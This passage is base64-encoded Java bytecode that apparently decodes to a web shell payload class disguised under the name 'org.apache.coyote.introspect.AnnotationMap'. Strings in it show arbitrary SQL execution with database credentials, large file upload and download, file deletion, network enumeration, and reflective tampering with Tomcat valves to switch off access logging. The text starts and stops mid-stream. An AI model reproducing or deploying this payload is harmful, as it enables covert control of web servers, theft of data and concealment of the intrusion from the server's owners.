ZWN0aW9uDAQTBBQBAA9jcmVhdGVTdGF0ZW1lbnQBABYoKUxqYXZhL3NxbC9TdGF0ZW1lbnQ7CAQWAQAGc2VsZWN0CAQYAQADb2sKCwQaBBwHBBsBABJqYXZhL3NxbC9TdGF0ZW1lbnQMBB0EHgEADGV4ZWN1dGVRdWVyeQEAKChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL1Jlc3VsdFNldDsLBCAEIgcEIQEAEmphdmEvc3FsL1Jlc3VsdFNldAwEIwQkAQALZ2V0TWV0YURhdGEBAB4oKUxqYXZhL3NxbC9SZXN1bHRTZXRNZXRhRGF0YTsLBCYEKAcEJwEAGmphdmEvc3FsL1Jlc3VsdFNldE1ldGFEYXRhDAQpANcBAA5nZXRDb2x1bW5Db3VudAgEKwEAAiVzCwQmBC0MBC4BtwEADWdldENvbHVtbk5hbWUKAAEEMAwEMQBDAQAMYmFzZTY0RW5jb2RlCwQgBDMMBDQBtwEACWdldFN0cmluZwsEIAQ2DAOOAYULBCAAoQsEGgChCwQQAKELBBoEOwwEPAImAQANZXhlY3V0ZVVwZGF0ZQgEPgEAClF1ZXJ5IE9LLCAKAW4EQAwBegRBAQAbKEkpTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7CARDAQAOIHJvd3MgYWZmZWN0ZWQIBEUBAANubyAIBEcBAAcgRGJ0eXBlCARJAQBITm8gcGFyYW1ldGVyIGRiVHlwZSxkYkhvc3QsZGJQb3J0LGRiVXNlcm5hbWUsZGJQYXNzd29yZCxleGVjVHlwZSxleGVjU3FsAQAHY2hhcnNldAEACmNvbm5lY3RVcmwBAAZkYkNvbm4BABVMamF2YS9zcWwvQ29ubmVjdGlvbjsBAAlzdGF0ZW1lbnQBABRMamF2YS9zcWwvU3RhdGVtZW50OwEACXJlc3VsdFNldAEAFExqYXZhL3NxbC9SZXN1bHRTZXQ7AQAIbWV0YURhdGEBABxMamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGE7AQAJY29sdW1uTnVtAQALYWZmZWN0ZWROdW0IBFcBAAppbnZhbGlkYXRlAQANYmlnRmlsZVVwbG9hZAgEWgEADGZpbGVDb250ZW50cwgEXAEACHBvc2l0aW9uCgH2BF4MACYEXwEAFihMamF2YS9sYW5nL1N0cmluZztaKVYHBGEBABhqYXZhL2lvL1JhbmRvbUFjY2Vzc0ZpbGUIBGMBAAJydwoEYARlDAAmBGYBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KVYKBGAEaAwEaQGqAQAEc2VlawoEYAFQCgRgAKEBABpMamF2YS9pby9SYW5kb21BY2Nlc3NGaWxlOwEAD2JpZ0ZpbGVEb3dubG9hZAgEbwEABG1vZGUIBHEBAAtyZWFkQnl0ZU51bQgEcwEACGZpbGVTaXplCgB1BHUMAYwEdgEAFShKKUxqYXZhL2xhbmcvU3RyaW5nOwgA1goBtAR5DAGMBHoBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvSW50ZWdlcjsKAbQEfAwEfQDXAQAIaW50VmFsdWUKAosAZwoCiwSADASBBIIBAARza2lwAQAEKEopSgoAAQSEDASFBIYBAAZjb3B5T2YBAAcoW0JJKVtCCASIAQAHbm8gbW9kZQEAEXJlYWRCeXRlTnVtU3RyaW5nAQAOcG9zaXRpb25TdHJpbmcBAAhyZWFkRGF0YQoEjQSPBwSOAQAOamF2YS9sYW5nL01hdGgMBJAEkQEAA21pbgEABShJSSlJAQAIb3JpZ2luYWwBAAluZXdMZW5ndGgBAAthcnJheU9mQnl0ZQgElgEADGphdmEudmVyc2lvbgoAdQSYDASZBJoBAAlzdWJzdHJpbmcBABYoSUkpTGphdmEvbGFuZy9TdHJpbmc7CQABBJwMABoAEwgEngEAEGphdmEubGFuZy5TeXN0ZW0IBKABAAZnZXRlbnYJAAEEogwAGwATCASkAQANamF2YS51dGlsLk1hcAEACmpyZVZlcnNpb24JAAEEpwwAHAATCASpAQAWamF2YS5zcWwuRHJpdmVyTWFuYWdlcgoATQSrDASsBK0BABFnZXREZWNsYXJlZEZpZWxkcwEAHCgpW0xqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsKBK8BkgcEsAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkCASyAQAGcml2ZXJzCQABBLQMAB0AEwgEtgEADmphdmEudXRpbC5MaXN0CgSvBLgMBLkASwEAB2dldFR5cGUKBLsEvQcEvAEAImphdmEvbGFuZy9yZWZsZWN0L0FjY2Vzc2libGVPYmplY3QMBL4EvwEADXNldEFjY2Vzc2libGUBAAQoWilWCgSvAHwHBMIBAA5qYXZhL3V0aWwvTGlzdAsEwQOHCQABBMUMAB4AEwgExwEAD2phdmEuc3FsLkRyaXZlcgcEyQEAD2phdmEvc3FsL0RyaXZlcgcEywEAFGphdmEvdXRpbC9Qcm9wZXJ0aWVzCgTKACgIBM4BAAR1c2VyCgMpALoIBNEBAAhwYXNzd29yZAsEyATTDATUBNUBAAdjb25uZWN0AQA/KExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL3V0aWwvUHJvcGVydGllczspTGphdmEvc3FsL0Nvbm5lY3Rpb247AQAIdXNlck5hbWUBAApjb25uZWN0aW9uAQAGZmllbGRzAQAaW0xqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAVmaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAdkcml2ZXJzAQAQTGphdmEvdXRpbC9MaXN0OwEABmRyaXZlcgEAEUxqYXZhL3NxbC9Ecml2ZXI7AQALZHJpdmVySW5mb3MBAApwcm9wZXJ0aWVzAQAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzOwoE5ATmBwTlAQAZamF2YS9uZXQvTmV0d29ya0ludGVyZmFjZQwE5wMtAQAUZ2V0TmV0d29ya0ludGVyZmFjZXMKBOQE6QwE6gMtAQAQZ2V0SW5ldEFkZHJlc3NlcwcE7AEAFGphdmEvbmV0L0luZXRBZGRyZXNzCgTrBO4MBO8AZQEADmdldEhvc3RBZGRyZXNzCwTBAvELBMEE8gwDAQTzAQAVKClbTGphdmEvbGFuZy9PYmplY3Q7CgJBBPUMAIgE9gEAJyhbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwEABmlwTGlzdAEAEW5ldHdvcmtJbnRlcmZhY2VzAQAQbmV0d29ya0ludGVyZmFjZQEAG0xqYXZhL25ldC9OZXR3b3JrSW50ZXJmYWNlOwEADWluZXRBZGRyZXNzZXMBAAtpbmV0QWRkcmVzcwEAFkxqYXZhL25ldC9JbmV0QWRkcmVzczsBAAJpcAgDUwgFAQEAG25vIG1ldGhvZCBnZXRSZWFsUGF0aE1ldGhvZAgFAwEAFnNlcnZsZXRDb250ZXh0IGlzIE51bGwBABFnZXRSZWFsUGF0aE1ldGhvZAEACXJldE9iamVjdAoBcQUHDAUIAYUBAAZkZWxldGUBAAFmAQABeAEAAmZzAQBLKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7BwUOAQASW0xqYXZhL2xhbmcvQ2xhc3M7AQATW0xqYXZhL2xhbmcvT2JqZWN0OwEAB2NsYXNzZXMBAAJvMQEADnBhcmFtZXRlckNsYXNzCgBNBRQMBRUAUQEAEWdldERlY2xhcmVkTWV0aG9kCgBNBRcMBRgASwEADWdldFN1cGVyY2xhc3MBAA1nZXRGaWVsZFZhbHVlAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsKAE0FHAwFHQUeAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEACWZpZWxkTmFtZQgFIQEAB2NvbnRleHQKAAEFIwwFGQUaCAUlAQAJZ2V0UGFyZW50CgABBScMAG8FDAgFKQEAC2dldFBpcGVsaW5lCAUrAQAIZ2V0Rmlyc3QIBS0BAAxnZXRDb25kaXRpb24IBS8BAAxzZXRDb25kaXRpb24IBTEBAAdGdWNrTG9nCAUzAQAHZ2V0TmV4dAgFNQEAGW9yZy5hcGFjaGUuY2F0YWxpbmEuVmFsdmUKAE0FNwwAXAU4AQA9KExqYXZhL2xhbmcvU3RyaW5nO1pMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylMamF2YS9sYW5nL0NsYXNzOwEAEmFwcGxpY2F0aW9uQ29udGV4dAEACWNvbnRhaW5lcgEACWFycmF5TGlzdAEACHBpcGVsaW5lAQAFdmFsdmUBAAljb25kaXRpb24BABJzZXRBdHRyaWJ1dGVNZXRob2QBAARuYW1lAQAFYnl0ZXMKAAEFQwwEMQVEAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAA3NyYwEAA29mZgEAA2VuZAEAA2RzdAEAB2xpbmVtYXgBAAlkb1BhZGRpbmcBAAZi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